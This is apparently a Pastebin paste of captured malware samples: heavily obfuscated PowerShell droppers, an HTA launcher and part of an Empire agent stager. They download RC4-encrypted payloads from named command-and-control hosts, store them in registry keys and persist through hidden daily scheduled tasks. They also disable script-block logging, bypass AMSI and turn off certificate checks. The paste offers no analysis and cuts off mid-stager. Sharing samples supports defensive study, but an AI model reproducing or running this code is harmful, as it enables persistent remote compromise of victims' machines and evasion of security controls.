API tools faq
paste
James_inthe_box

2017

James_inthe_box
Dec 29th, 2017
639
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 21.30 KB | None | 0 0
raw download clone embed print report
  1. cXKZ= sET-iTEm ("{0}{2}{3}{1}"-f'V','7','ARIa','BlE:A920y') ( [TYpe]("{2}{0}{1}" -F'ptB','lock','scRI') ) ; SeT-vaRiAbLE ("10"+"rYz") ( [tYpE]("{1}{0}"-F 'f','Re') ) ; SV ("{1}{0}" -f 'T9','AvR') ( [TyPE]("{4}{8}{3}{5}{6}{2}{7}{1}{0}"-F'AGeR','N','pOI','.S','S','ErV','icE','NtMA','yStEM.nET') ); sET-vAriablE ('34c'+'D') ( [tYPe]("{2}{1}{0}{3}{4}{5}{6}" -F'.','m.Net','SysTE','W','E','BreqU','ESt')) ; SEt-IteM ('vARIAbLE:'+'t4'+'u3'+'xa') ( [tyPE]("{0}{3}{4}{1}{2}" -f 'syS','REdENTialC','AcHE','tEM.N','ET.c') ); sET-varIABlE ("Bgu3"+"1") ( [TYpE]("{3}{2}{0}{1}" -F'DIn','g','xT.eNCo','SyStEM.te')); ${rEgpA`Th} = ((("{18}{19}{16}{1}{8}{11}{14}{2}{21}{20}{13}{4}{10}{12}{17}{15}{6}{0}{3}{7}{5}{9}"-f 'nst','Y','waren','allT','ow','Styl','mesnYjI','heme','j','e','snYjCurr','So','e','crosoftnYjWind','ft','The','n','ntVersionnYj','H','KCU:','Mi','Yj'))-REplACe'nYj',[cHar]92);${Pa`Rts} = ${R`EGPaTh}.("{0}{1}"-f'spl','it').Invoke('\');${PA`TH} = ${rEG`P`Ath}.("{0}{1}"-f 'spl','it').Invoke("\\")[0..(${p`A`Rts}."c`OunT" -2)] -join '\';${pa`YL`OAd} = (&("{3}{2}{1}{0}"-f't','Objec','w-','Ne') ("{1}{0}{2}"-f'.Webc','Net','lient')).("{3}{1}{2}{0}{4}"-f'stri','lo','ad','down','ng').Invoke(("{17}{13}{6}{2}{16}{12}{0}{15}{7}{5}{1}{10}{4}{8}{14}{11}{3}{9}"-f '.','cz/co','thl','gs/view','en','st.','ww.','orfir','ts/com','s/access_log','mpon','a','tems','://w','_t','f','sys','https'));${na`mE} = ${PA`Rts}[-1];${NU`ll}=&("{0}{1}{2}"-f'Set-It','emProper','ty') -Force -Path ${Pa`TH} -Name ${NA`me} -Value ${pA`YL`oAD};&("{1}{0}{2}" -f 'ch','s','tasks') ("{0}{1}"-f'/','Create') ('/F') ("{0}{1}"-f '/S','C') ("{0}{1}" -f'DAI','LY') ("{0}{1}" -f '/','ST') ("{1}{0}"-f'00','15:') ("{0}{1}" -f '/','TN') ("{3}{1}{4}{2}{0}" -f 'eCore','indo','iaServic','W','wsMed') ("{0}{1}" -f'/','TR') (('C:'+'{0}Windo'+'ws{0}'+'S'+'ys'+'te'+'m32{0}Wi'+'ndowsPowerShe'+'ll{0}v1.'+'0{0}powershe'+'l'+'l.exe ') -f [cHAr]92+'-c'+' '+('OH65v9W'+'zax='+'Wz'+'a((gp ')."repla`CE"(([chAR]87+[chAR]122+[chAR]97),'$')."rEpla`CE"(([chAR]53+[chAR]118+[chAR]57),[sTRINg][chAR]34)."REP`LA`CE"(([chAR]79+[chAR]72+[chAR]54),'\')+(('HKCU:'+'exISoftw'+'are'+'e'+'xIMi'+'cro'+'softexIWindow'+'sex'+'ICur'+'rentVersio'+'ne'+'xIThemes ') -REpLace 'exI',[Char]92)+'Ins'+'tallT'+'h'+'em'+'eSt'+'y'+'le).In'+'st'+'al'+'lTh'+'emeStyl'+'e);cmd.ex'+'e '+'/'+'b '+'/c'+' '+(('b5Ixn8'+'yI'+'YR') -rePlAce ([CHAr]73+[CHAr]89+[CHAr]82),[CHAr]34-creplACe 'n8y',[CHAr]92-rePlAce([CHAr]98+[CHAr]53+[CHAr]73),[CHAr]36));${REg`pa`TH} = ((("{6}{13}{18}{2}{9}{0}{19}{4}{17}{7}{16}{10}{14}{5}{11}{1}{3}{12}{8}{15}" -f'of','{0','re{0}','}','indow','sion{','H','r','UL','Micros','entVe','0}Ext','NR','K','r','istEx','r','s{0}Cu','CU:{0}Softwa','t{0}W'))-F [cHAR]92);${pa`RTs} = ${RE`GP`AtH}.("{1}{0}" -f'lit','sp').Invoke('\');${p`Ath} = ${ReG`P`AtH}.("{0}{1}" -f's','plit').Invoke("\\")[0..(${Par`TS}."cOu`Nt" -2)] -join '\';${PaY`loAd} = (.("{0}{2}{1}" -f'New-','t','Objec') ("{2}{1}{0}{3}{4}"-f'bcl','t.We','Ne','i','ent')).("{1}{2}{0}{3}"-f'tri','do','wnloads','ng').Invoke(("{2}{3}{6}{4}{0}{5}{1}" -f '18','s','http:','//20','.','1.63/o','0.122')); ${nA`me} = ${pAR`Ts}[-1];${N`ULl}=&("{1}{0}{2}{3}"-f 'emProper','Set-It','t','y') -Force -Path ${P`AtH} -Name ${N`AMe} -Value ${p`AylO`Ad};&("{0}{1}" -f 'schtas','ks') ("{2}{0}{1}" -f 'C','reate','/') ('/F') ("{1}{0}" -f 'C','/S') ("{0}{1}" -f 'DAIL','Y') ("{0}{1}"-f '/S','T') ("{0}{1}" -f'1','1:00') ("{1}{0}"-f 'N','/T') ("{1}{4}{2}{0}{5}{3}"-f 'e','Window','vic','Init','sMediaSer','Core') ("{0}{1}" -f'/T','R') ((('C'+':jPRW'+'indo'+'wsjPRSystem3'+'2jPRWindo'+'wsPo'+'we'+'rShe'+'lljPRv1.0jPR'+'p'+'o'+'wers'+'he'+'ll.exe ')-cREplaCE ([CHaR]106+[CHaR]80+[CHaR]82),[CHaR]92)+'-'+'c '+(('q2Hj7zCEQx=CE'+'Q((g'+'p'+' ')-repLAcE ([ChAR]106+[ChAR]55+[ChAR]122),[ChAR]34-repLAcE([ChAR]113+[ChAR]50+[ChAR]72),[ChAR]92 -CrepLacE([ChAR]67+[ChAR]69+[ChAR]81),[ChAR]36)+(('HKCU'+':zXC'+'S'+'of'+'twarezXC'+'Micro'+'s'+'of'+'tzXC'+'Wi'+'ndo'+'wszXC'+'Cur'+'rentVer'+'sionz'+'X'+'C'+'Ext ')-CrEpLAcE ([cHar]122+[cHar]88+[cHar]67),[cHar]92)+'NRU'+'L'+'is'+'tEx'+').NR'+'U'+'ListEx);'+'c'+'md.exe '+'/'+'b '+'/c'+' '+(('b'+'zRxdt'+'W'+'Xgf') -CREplacE'bzR',[char]36-REPLACe 'dtW',[char]92 -CREplacE ([char]88+[char]103+[char]102),[char]34));If(${pSVE`R`SionTAB`LE}."PS`VE`RsIon"."M`AjoR" -Ge 3){${g`pS}= $10rYZ."asSE`mBlY".("{2}{0}{1}"-f'y','PE','GETT').Invoke(("{6}{1}{5}{8}{3}{2}{7}{4}{0}" -f'ls','tem.','e','gem','Uti','Ma','Sys','nt.Automation.','na'))."GEtFiE`ld"(("{0}{3}{4}{1}{2}"-f 'cach','t','tings','edG','roupPolicySe'),'N'+("{1}{2}{0}{3}" -f'c,Stat','onPubl','i','ic')).("{2}{0}{1}"-f 'TVal','UE','Ge').Invoke(${nU`Ll});IF(${g`pS}[("{0}{1}" -f'Scr','iptB')+("{2}{1}{0}"-f 'g','in','lockLogg')]){${g`ps}[("{2}{1}{0}"-f 'tB','ip','Scr')+("{1}{2}{3}{0}" -f'ging','lo','c','kLog')][("{1}{2}{0}{3}" -f'Scri','En','able','ptB')+("{2}{3}{1}{0}"-f 'ng','gi','lockLo','g')]=0;${g`Ps}[("{1}{0}" -f 'tB','Scrip')+("{2}{0}{1}"-f 'gi','ng','lockLog')][("{4}{6}{3}{5}{1}{2}{7}{0}"-f 'g','Inv','ocationL','ri','En','ptBlock','ableSc','oggin')]=0}ElSe{ $A920Y7."GetFiE`Ld"(("{1}{2}{0}"-f's','signatur','e'),'N'+("{3}{1}{4}{0}{2}" -f'tat','u','ic','onP','blic,S')).("{2}{0}{1}" -f 't','VAlUe','Se').Invoke(${nu`lL},(.("{1}{0}{3}{2}" -f 'W-OBj','NE','t','Ec') ("{7}{1}{3}{6}{4}{8}{0}{2}{5}"-f'sT','.','r','GeN','rIC.HAsHSEt','ing]','e','COlLeCTIONS','[')))} $10Ryz."AS`Se`mbLY".("{0}{2}{1}" -f'Ge','YPE','TT').Invoke(("{2}{5}{3}{4}{7}{0}{6}{1}"-f 'n.Ams','ils','Syst','t.','Automati','em.Managemen','iUt','o'))|.('?'){${_}}|&('%'){${_}.("{2}{1}{0}"-f 'tFiELd','e','G').Invoke(("{2}{1}{3}{0}"-f'Failed','i','amsiIn','t'),("{0}{2}{1}" -f'NonPublic,','tatic','S')).("{0}{2}{1}"-f'S','tVaLUe','e').Invoke(${n`uLl},${Tr`Ue})};}; (get-VARIaBLe ('avR'+'T9'))."VA`LUe"::"ExPE`Ct100CONT`InUe"=0;${W`c}=.("{1}{2}{0}{3}" -f 'BJ','NEw-','O','ecT') ("{0}{5}{2}{4}{1}{3}"-f'SyStem.NET','N','eBCLI','t','e','.W');${u}=("{9}{5}{15}{2}{6}{7}{3}{11}{1}{0}{8}{14}{10}{16}{13}{12}{4}"-f'rident','; T','dows ','1; WOW6','o','zilla/','NT 6','.','/7.0; rv','Mo','1','4','k',' like Gec',':1','5.0 (Win','.0)'); ( geT-variaBlE ("{0}{1}"-f 'Avr','t9') )."v`ALue"::"Se`RVercerTi`FI`cA`TEv`Ali`dAT`i`ONCalLBA`cK" = {${T`Rue}};${Wc}."H`EADeRs".("{1}{0}"-f'D','Ad').Invoke(("{1}{2}{0}" -f 'gent','Us','er-A'),${u});${W`C}."prO`xY"= ( vaRiAbLe ('34c'+'d') )."v`AlUe"::"def`AULt`Web`PRo`xY";${w`C}."p`RoxY"."c`Re`DEnt`IalS" = $t4U3XA::"DeFAultN`E`TwO`RKCr`E`de`N`TiaLs";${K}= (gi ('VAria'+'Bl'+'e:bGU3'+'1'))."vA`luE"::"As`cIi".("{0}{1}" -f 'GETB','Ytes').Invoke(("{7}{6}{2}{4}{3}{1}{8}{0}{5}"-f'621','cfb','4','32a5c22','038','c2942da','9adcc4','0','6'));${R}={${D},${k}=${ar`GS};${S}=0..255;0..255|.('%'){${J}=(${j}+${S}[${_}]+${k}[${_}%${k}."CO`Unt"])%256;${S}[${_}],${S}[${J}]=${s}[${j}],${S}[${_}]};${d}|&('%'){${i}=(${i}+1)%256;${H}=(${H}+${s}[${i}])%256;${S}[${i}],${s}[${h}]=${S}[${h}],${S}[${i}];${_}-BxoR${s}[(${s}[${i}]+${S}[${H}])%256]}};${W`C}."h`EaDeRs".("{0}{1}" -f'A','DD').Invoke(("{0}{1}{2}" -f 'Cook','i','e'),("{7}{5}{6}{3}{1}{2}{0}{4}" -f'PHyOvN9PE5e3','=b','w5Qz0c','n','Zi2Rl2aU=','si','o','ses'));${s`eR}=("{0}{8}{3}{7}{5}{6}{1}{4}{2}"-f 'ht','forfirs','.cz:443','/ww','t','ems','.','w.thlsyst','tps:/');${T}=("{4}{1}{6}{7}{0}{5}{2}{3}{8}"-f'/views/lo','om','proc','ess.','/c','gin/','pon','ents/com_tags','php');${D`ATA}=${w`C}.("{0}{2}{1}" -f'DOwnlOAd','ta','Da').Invoke(${s`ER}+${t});${iV}=${d`ATA}[0..3];${DA`Ta}=${dA`Ta}[4..${dA`Ta}."LEN`GTh"];-JOIn[CHaR[]](& ${r} ${Da`Ta} (${i`V}+${k}))|.("{0}{1}" -f'IE','X')
  2.  
  3. view.hta:
  4. <script>
  5. a=new ActiveXObject("WScript.Shell");
  6. a.run('CmD.EXE /C "sEt ioS= $kAntM6= [tYpE]("{1}{0}{3}{2}" -F\'CRIptb\',\'S\',\'Ck\',\'LO\'); sET-item vArIabLe:MNC ( [tyPe]("{1}{0}" -F \'f\',\'RE\') ) ;$fi80jP = [tYpe]("{3}{1}{4}{5}{0}{2}" -F\'INtm\',\'N\',\'aNaGEr\',\'SySteM.\',\'e\',\'T.ServicEpo\') ; $cevy = [TyPe]("{0}{1}{3}{2}" -f\'SyStem.N\',\'Et.WeBrE\',\'sT\',\'quE\') ;$Hau = [TyPe]("{5}{4}{1}{6}{0}{3}{2}" -f\'nEt.\',\'T\',\'TIalCaCHe\',\'CReDEN\',\'s\',\'sY\',\'eM.\') ; $0Ak = [tyPE]("{0}{3}{2}{4}{1}" -F \'syS\',\'NG\',\'EM.\',\'T\',\'TeXT.eNCodI\') ; IF(${PSVEr`s`Io`NTaBle}."P`svEr`SIOn"."mAJ`Or" -gE 3){${g`pS}= ( vArIAblE MNC).VAluE."a`s`SeMblY".("{0}{1}{2}" -f \'Ge\',\'T\',\'TYPe\').Invoke(("{7}{1}{0}{9}{6}{3}{8}{2}{5}{4}"-f\'anagem\',\'.M\',\'on.U\',\'t\',\'s\',\'til\',\'nt.Au\',\'System\',\'omati\',\'e\'))."GETFIe`lD"(("{0}{4}{2}{1}{5}{3}{6}{7}"-f \'cache\',\'yS\',\'olic\',\'t\',\'dGroupP\',\'e\',\'ting\',\'s\'),\'N\'+("{1}{0}{2}{3}" -f \'ic,S\',\'onPubl\',\'tat\',\'ic\')).("{0}{1}{2}"-f \'GE\',\'tVA\',\'LUE\').Invoke(${N`ULl});If(${g`PS}[("{1}{0}" -f \'riptB\',\'Sc\')+("{0}{1}{2}"-f \'lo\',\'ckL\',\'ogging\')]){${g`PS}[("{0}{1}" -f \'Scri\',\'ptB\')+("{0}{3}{1}{2}"-f \'lock\',\'gg\',\'ing\',\'Lo\')][("{2}{0}{1}"-f\'leSc\',\'riptB\',\'Enab\')+("{0}{2}{1}"-f \'lo\',\'Logging\',\'ck\')]=0;${g`ps}[("{0}{1}" -f \'Scri\',\'ptB\')+("{1}{2}{0}" -f\'gging\',\'lo\',\'ckLo\')][("{2}{4}{7}{3}{5}{6}{0}{1}" -f\'tionLoggi\',\'ng\',\'Enab\',\'ptBl\',\'leScr\',\'ock\',\'Invoca\',\'i\')]=0}ElSE{ ( Ls (\'VA\'+\'RiabL\'+\'e:k\'+\'aNTm6\')).vaLUE."GETFiE`lD"(("{3}{2}{0}{1}"-f\'u\',\'res\',\'at\',\'sign\'),\'N\'+("{2}{0}{3}{1}"-f \'Publi\',\'ic\',\'on\',\'c,Stat\')).("{1}{2}{0}" -f \'Ue\',\'SE\',\'TVaL\').Invoke(${nu`LL},(^&("{2}{1}{0}"-f\'cT\',\'bje\',\'NeW-O\') ("{0}{3}{5}{7}{4}{2}{6}{1}"-f \'COLlecTi\',\'ng]\',\'SEt[S\',\'on\',\'ash\',\'S.GENEri\',\'tri\',\'C.H\')))} $mNC."ASSeM`BLy".("{1}{0}{2}"-f \'y\',\'GETT\',\'pE\').Invoke(("{6}{4}{1}{9}{2}{8}{0}{10}{7}{5}{3}"-f\'.\',\'tem.Management.\',\'matio\',\'ls\',\'ys\',\'ti\',\'S\',\'iU\',\'n\',\'Auto\',\'Ams\'))^|^&(\'?\'){${_}}^|^&(\'%\'){${_}.("{2}{0}{1}"-f\'E\',\'TFIelD\',\'G\').Invoke(("{3}{4}{2}{1}{0}"-f \'d\',\'aile\',\'F\',\'amsiIni\',\'t\'),("{2}{3}{1}{0}" -f\'ic\',\'t\',\'NonPubli\',\'c,Sta\')).("{1}{0}" -f \'E\',\'SEtValU\').Invoke(${Nu`LL},${t`Rue})};}; (iteM ("Va"+"rIAb"+"lE:"+"fi80"+"JP") ).VAlUe::"exPEcT`100`CO`NtINUE"=0;${wC}=.("{0}{1}{2}" -f\'New-\',\'OB\',\'JECT\') ("{1}{4}{0}{3}{2}{5}" -f\'.Ne\',\'S\',\'WEBCLIEn\',\'t.\',\'ystEM\',\'t\');${u}=("{11}{5}{6}{8}{4}{7}{10}{1}{16}{14}{12}{18}{0}{15}{13}{19}{3}{2}{17}{9}"-f\'O\',\'dows NT \',\'dent/7.0\',\'ri\',\'(\',\'l\',\'la/\',\'Wi\',\'5.0 \',\'ke Gecko\',\'n\',\'Mozi\',\' \',\'4; \',\'1;\',\'W6\',\'6.\',\'; rv:11.0) li\',\'W\',\'T\'); $FI80JP::"s`ErVercER`TIf`i`Ca`TE`V`AL`IdaTio`NcaL`lBAck" = {${T`Rue}};${wC}."h`Eade`RS".("{0}{1}"-f\'A\',\'DD\').Invoke(("{0}{2}{1}"-f \'U\',\'ent\',\'ser-Ag\'),${u});${W`C}."P`RoxY"= (gI ("v"+"aRI"+"able"+":"+"ceVy") ).vaLUE::"def`AuLT`w`ebPr`OXy";${W`C}."p`ROXy"."Crede`N`T`iAls" = (gEt-varIABLe HAU -vaLuEonl )::"dEfAU`Lt`NEtwor`k`cReDentiALS";${scr`IPT`:`proxy} = ${wC}."p`ROxy";${K}= ( Get-ITEm vaRIABle:0Ak ).valUe::"aSc`iI".("{2}{1}{0}"-f\'es\',\'YT\',\'GeTB\').Invoke(("{3}{2}{7}{0}{1}{4}{8}{5}{6}{9}"-f \'38\',\'32a5c\',\'dcc\',\'09a\',\'22\',\'62\',\'1c2942\',\'440\',\'cfb6\',\'da\'));${R}={${D},${K}=${ar`GS};${s}=0..255;0..255^|.(\'%\'){${J}=(${J}+${s}[${_}]+${k}[${_}%${k}."COu`Nt"])%256;${S}[${_}],${S}[${j}]=${s}[${J}],${S}[${_}]};${d}^|^&(\'%\'){${I}=(${i}+1)%256;${H}=(${H}+${s}[${i}])%256;${s}[${I}],${S}[${H}]=${s}[${H}],${S}[${i}];${_}-bxOR${s}[(${S}[${I}]+${s}[${H}])%256]}};${S`ER}=("{2}{0}{3}{1}{4}{5}{6}" -f\'t\',\':\',\'h\',\'tps\',\'//200\',\'.122.181\',\'.63:443\');${T}=("{3}{4}{7}{5}{0}{2}{6}{1}{8}"-f\'/c\',\'iew\',\'om_tags/\',\'/\',\'co\',\'ponents\',\'v\',\'m\',\'s/news.php\');${wC}."h`ea`deRS".("{1}{0}" -f \'DD\',\'A\').Invoke(("{1}{0}"-f \'okie\',\'Co\'),("{5}{3}{6}{4}{2}{1}{0}" -f \'v0=\',\'QHE+6qDmonc\',\'2I4K\',\'essi\',\'=Te5KjEDsLd\',\'s\',\'on\'));${D`Ata}=${W`c}.("{1}{2}{0}" -f \'LOadDATA\',\'Do\',\'WN\').Invoke(${s`er}+${t});${Iv}=${d`AtA}[0..3];${d`AtA}=${D`ATA}[4..${d`Ata}."Le`N`gTH"];-JOIN[ChaR[]](^& ${r} ${DA`Ta} (${I`V}+${k}))^|^&("{1}{0}"-f \'EX\',\'I\') &&Set MGE=EchO ${EXECUtiOnconteXT}.iNVOKecoMmAnd.invOkeScrIPt( (geT-ITEM eNv:IOS).VALUE ) ^| poWeRsHell -wind HiddeN -nOEX -NOnINtEraCTIV -EP BypAsS -NOProfiL - && CmD.EXE /C %mGE%"', 0, false);window.close();
  7. </script>
  8.  
  9. other from memory:
  10. Set byiS= set ('7V'+'4') ([TYPe]("{1}{0}{2}"-F 'rIptblO','SC','CK') ); ${ZO`mRfH} = [tyPE]("{0}{1}"-F 'R','Ef') ; sv ("{1}{0}"-f 'fEtWa','U') ( [type]("{3}{4}{1}{2}{0}" -F 'IntmaNAgEr','.n','ET.SeRVICepO','SySt','em') ) ; SET ("{1}{0}" -f'cN8','6') ( [tyPE]("{2}{0}{3}{1}" -f 'SteM.Net','ReQUESt','SY','.wEb') ) ; sEt-ITEM ('VaRIAB'+'l'+'E:4Gqf'+'h') ([tyPe]("{5}{0}{7}{1}{3}{6}{4}{2}" -F's','e','acHe','M','Et.CrEdENTIaLc','Sy','.N','t')) ; Sv ('a'+'U5i0') ([TYPE]("{0}{2}{4}{3}{1}"-f 'sYSTEm.','CodinG','tEX','eN','t.') ) ; If(${PS`VErsIo`N`Ta`Ble}."Ps`V`ERSiON"."MA`jOr" -ge 3){${g`pS}= ${ZomR`FH}."aSs`EMb`Ly".("{2}{0}{1}"-f 'TY','Pe','GET').Invoke(("{0}{6}{7}{1}{4}{5}{3}{2}" -f'Syste','Man','ls','n.Uti','agement.Au','tomatio','m','.'))."GETFIE`Ld"(("{0}{3}{4}{2}{1}" -f 'cachedGro','gs','tin','upPo','licySet'),'N'+("{4}{0}{3}{1}{2}" -f'lic','t','ic',',Sta','onPub')).("{2}{0}{1}" -f 'T','VaLuE','GE').Invoke(${n`ULL});If(${G`ps}[("{0}{1}" -f 'Scri','ptB')+("{1}{2}{0}" -f 'ckLogging','l','o')]){${g`Ps}[("{0}{1}"-f 'Scrip','tB')+("{0}{3}{1}{2}"-f'lock','oggin','g','L')][("{2}{1}{3}{0}" -f 'tB','eS','Enabl','crip')+("{2}{1}{0}" -f'ing','kLogg','loc')]=0;${G`Ps}[("{0}{2}{1}" -f'Scr','ptB','i')+("{1}{2}{0}{3}"-f 'kLo','lo','c','gging')][("{5}{9}{2}{6}{1}{3}{4}{8}{7}{0}"-f 'g','I','loc','n','vocat','Enab','k','onLoggin','i','leScriptB')]=0}ELSE{ ( get-vAriAbLe ('7v'+'4') -vALUeoNLy )."GeTFie`LD"(("{1}{0}{2}" -f 'i','s','gnatures'),'N'+("{3}{1}{0}{2}" -f 'ti','blic,Sta','c','onPu')).("{1}{0}{2}"-f'EtVa','S','lue').Invoke(${N`ULL},(.("{1}{2}{0}"-f 'CT','NEW','-OBJe') ("{2}{1}{5}{4}{7}{0}{3}{6}"-f 'IC.HaShSET','ecTI','CoLL','[STrIn','NE','oNs.Ge','G]','r')))} (get-ChildiTEM ("{2}{0}{1}{3}" -f 'IABL','E','VaR',':zOMRfh') )."val`Ue"."As`SemB`lY".("{1}{0}{2}" -f't','GE','TYPe').Invoke(("{6}{1}{3}{0}{2}{5}{4}" -f 'ati','m.Manageme','on.Ams','nt.Autom','ils','iUt','Syste'))^|.('?'){${_}}^|.('%'){${_}.("{0}{2}{1}"-f 'G','Ield','EtF').Invoke(("{0}{1}{3}{2}" -f 'am','siIn','led','itFai'),("{0}{1}{3}{2}"-f 'NonPubl','ic,S','c','tati')).("{0}{2}{1}" -f'SETV','UE','al').Invoke(${NU`LL},${t`Rue})};}; ( ITEM ("vA"+"rIAbLe:U"+"fETwa") )."Va`LuE"::"E`X`pECT100coNtI`NUE"=0;${wC}=.("{0}{2}{1}"-f 'Ne','BJECt','w-O') ("{3}{4}{0}{2}{1}{5}"-f 'M','t.WEBCLiE','.NE','SYS','Te','nT');${u}=(("{8}{2}{0}{11}{6}{12}{10}{9}{3}{7}{1}{5}{4}"-f'ows NT 6.1;',':11.0) like','nd',' ','ko',' Gec','64; Trid','rv','Mozilla/5.0 (Wi',';','t/7.0',' WOW','en')); ( chIldITem ("{2}{0}{3}{1}" -f'ariaB','FETwA','v','Le:u') )."v`AlUE"::"S`ERv`ER`cE`R`TIFiCATE`VALI`DAtIOnca`LLbAcK" = {${t`RUE}};${w`c}."H`EaDerS".("{0}{1}"-f'AD','d').Invoke(("{0}{2}{1}" -f'Use','t','r-Agen'),${U});${Wc}."prO`Xy"= (GEt-VAriABLe ("{1}{0}" -f 'n8','6C') )."V`Alue"::"dEfaulTwEB`p`R`oxY";${wc}."pRo`XY"."cREdEn`TI`ALs" = ( ItEM ('VaRIAB'+'L'+'e:4gQF'+'H') )."v`AlUe"::"d`efaUlTnEtwo`R`KC`RedENtIAlS";${k}= ${au`5i0}::"asC`II".("{2}{0}{1}"-f'Yte','s','GETB').Invoke(("{1}{5}{0}{3}{2}{4}"-f '4403832a5c','09ad','f','22c','b6621c2942da','cc'));${r}={${D},${k}=${Ar`GS};${s}=0..255;0..255^|.('%'){${J}=(${j}+${S}[${_}]+${k}[${_}%${k}."cO`Unt"])%256;${s}[${_}],${S}[${J}]=${S}[${j}],${s}[${_}]};${D}^|^&('%'){${I}=(${i}+1)%256;${h}=(${H}+${s}[${i}])%256;${S}[${i}],${s}[${H}]=${S}[${h}],${s}[${i}];${_}-BxOr${S}[(${S}[${i}]+${s}[${H}])%256]}};${w`c}."heA`DErS".("{1}{0}"-f'Dd','A').Invoke(("{0}{1}" -f 'Cook','ie'),("{3}{6}{0}{2}{5}{1}{4}"-f 'obGKeo7+j','I','b7','session=B+thd/Nn14O','=','i','PU4'));${s`eR}=("{5}{8}{1}{7}{9}{6}{2}{0}{4}{3}"-f 'irs','s','forf','z:443','t.c','ht','.','y','tps://www.thl','stems');${T}=("{3}{5}{1}{6}{4}{2}{0}" -f'dmin/get.php','p','s/a','/co','m_tags/view','m','onents/co');${DA`TA}=${wC}.("{3}{1}{0}{2}" -f 'DDAT','oWNLoA','A','D').Invoke(${S`Er}+${t});${i`V}=${D`ATa}[0..3];${da`Ta}=${da`TA}[4..${DA`Ta}."l`eNGTH"];-joIN[ChAR[]](^& ${r} ${da`Ta} (${iV}+${k}))^|^&("{0}{1}" -f 'IE','X')&& SET GDS=ECHO Iex (GET-ChIlDITEm eNV:ByiS).vALuE ^|poweRshelL -nOprOFiL -w hIDdeN -noNINtERaCTiv -eP BYpAsS -nOeXIt -&& c:\wiNDoWS\sYSTeM32\Cmd /C %gdS%
  11.  
  12. empire:
  13. fUncTioN StArt-NeGotiATE {parAM($s,$SK,$UA='MoZiLLA/5.0 (WiNdOws NT 6.1; WOW64; TrideNt/7.0; RV:11.0) lIKe GEckO')fuNCtIoN ConvErtTO-RC4BYTeStReAm {PaRAm ($RCK, $IN)BEGin {[BytE[]] $Str = 0..255;$J = 0;0..255 | ForEACh-OBJEcT {$J = ($J + $StR[$_] + $RCK[$_ % $RCK.LEnGth]) % 256;$STr[$_], $StR[$J] = $StR[$J], $Str[$_];};$I = $J = 0;}PROcESs {FoREACH($BYtE IN $In) {$I = ($I + 1) % 256;$J = ($J + $Str[$I]) % 256;$STr[$I], $STr[$J] = $STr[$J], $Str[$I];$BYtE -bXOr $STr[($STR[$I] + $STr[$J]) % 256];}}}fuNctIon DEcRyPt-ByTEs {pARam ($KeY, $In)If($IN.LEngtH -Gt 32) {$HMAC = NeW-OBJect SYStEM.SeCuRiTy.CrYPtOGRapHy.HMACSHA256;$e=[SyStEm.TeXT.EnCOdinG]::ASCII;$MAc = $IN[-10..-1];$IN = $In[0..($In.lEnGth - 11)];$hMAC.KeY = $E.GEtBYtes($KEY);$ExpeCtEd = $HMAc.COMPuTeHaSh($IN)[0..9];if (@(COMPaRE-OBjECT $MaC $ExPEcTEd -SYnC 0).LeNgtH -ne 0) {rEturn;}$IV = $IN[0..15];Try {$AES=NEw-OBJecT SyStem.SEcuRiTy.CRypTOGraPHY.AESCryptOSeRvicePrOvidER;}CatCh {$AES=NeW-ObjEct SySTEM.SECuriTy.CRYPTOGraPHy.RIJNDaElMANAgED;}$AES.Mode = "CBC";$AES.KEY = $e.GeTByTes($KeY);$AES.IV = $IV;($AES.CreateDEcrYptoR()).TRAnsFoRMFInAlBlOCK(($IN[16..$IN.LEngtH]), 0, $IN.LENgth-16)}}$Null = [Reflection.Assembly]::LoadWithPartialName("System.Security");$Null = [Reflection.Assembly]::LoadWithPartialName("System.Core");$ErrorActionPreference = "SilentlyContinue";$e=[SySteM.TexT.ENCODIng]::ASCII;$customHeaders = "";$SKB=$E.GetBYtES($SK);TRy {$AES=NeW-ObJeCT SysTeM.SEcuritY.CRYptOGRAPHY.AESCRYpTOSErViCEPRoVIdEr;}Catch {$AES=New-OBjeCt SYsTeM.SeCuRITy.CryptOGRapHy.RiJNDAELMAnAGEd;}$IV = [BYte] 0..255 | GET-RANDOm -CounT 16;$AES.Mode="CBC";$AES.KEY=$SKB;$AES.IV = $IV;$hmAC = New-OBjeCt SystEM.SECUriTY.CRypTogRApHY.HMACSHA256;$hMAC.Key = $SKB;$csP = New-OBjEcT SYStEm.SeCUriTY.CRyptogRAPHy.CsPPARamEteRs;$CsP.FLagS = $csP.FLagS -boR [SysTEm.SECUrITy.CRyPtograPhy.CSpPRoVIdErFlaGS]::USEMAchiNEKeYSTore;$rs = NEW-ObJeCt SyStEM.SEcurItY.CRYpTOgRaPhy.RSACRyPToSERvICEProVidEr -ArGUMeNTLIsT 2048,$Csp;$rK=$rS.TOXmLSTrInG($FaLSe);$ID=-join("ABCDEFGHKLMNPRSTUVWXYZ123456789".ToCharArray()|Get-Random -Count 8);$ib=$e.GEtbYTES($Rk);$EB=$IV+$AES.CReaTeENcRyptOr().TRanSForMFInALBLocK($iB,0,$IB.LenGTH);$EB=$eb+$hMAc.CoMputEHasH($Eb)[0..9];iF(-NOT $Wc) {$Wc=New-ObJEct SysTEM.NEt.WebClIEnt;$wc.PROXY = [SYsTeM.Net.WEBReQUest]::GEtSYSTEMWebPRoxy();$Wc.PROxy.CRedeNTiALs = [SYstem.Net.CrEdENTiaLCachE]::DeFAULTCrEdenTiALs;}If ($ScRIPt:PRoXy) {$wc.PrOXy = $SCRIpt:PROxY;}if ($customHeaders -ne "") {$HEaDErs = $CUsTOMHEADerS -spliT ',';$hEadERs | FOREAcH-ObJecT {$heaDErKEy = $_.spLIt(':')[0];$HEAderVaLue = $_.SpLIt(':')[1];if ($headerKey -eq "host"){tRy{$ig=$WC.DOWnloadDatA($S)}caTCh{}};$wc.HEAdERs.ADD($hEaderKeY, $headERVAluE);}}$wc.Headers.Add("User-Agent",$UA);$IV=[BiTCONVeRTER]::GetBytes($(GEt-RAndOM));$dATa = $e.GETbYTES($ID) + @(0x01,0X02,0X00,0X00) + [BItCoNveRtEr]::GEtByTES($eb.LeNGTh);$rC4p = CONveRTTO-RC4ByTEStREaM -RCK $($IV+$SKB) -IN $DAta;$Rc4p = $IV + $rC4P + $eB;$raw=$wc.UploadData($s+"/components/com_tags/views/login/process.php","POST",$rc4p);$dE=$e.GEtStriNg($Rs.DeCRyPt($raw,$FalSe));$nonce=$De[0..15] -JOIn '';$KEY=$de[16..$dE.LEnGth] -joIN '';$nONce=[StrInG]([LoNg]$NoncE + 1);Try {$AES=NeW-OBJecT 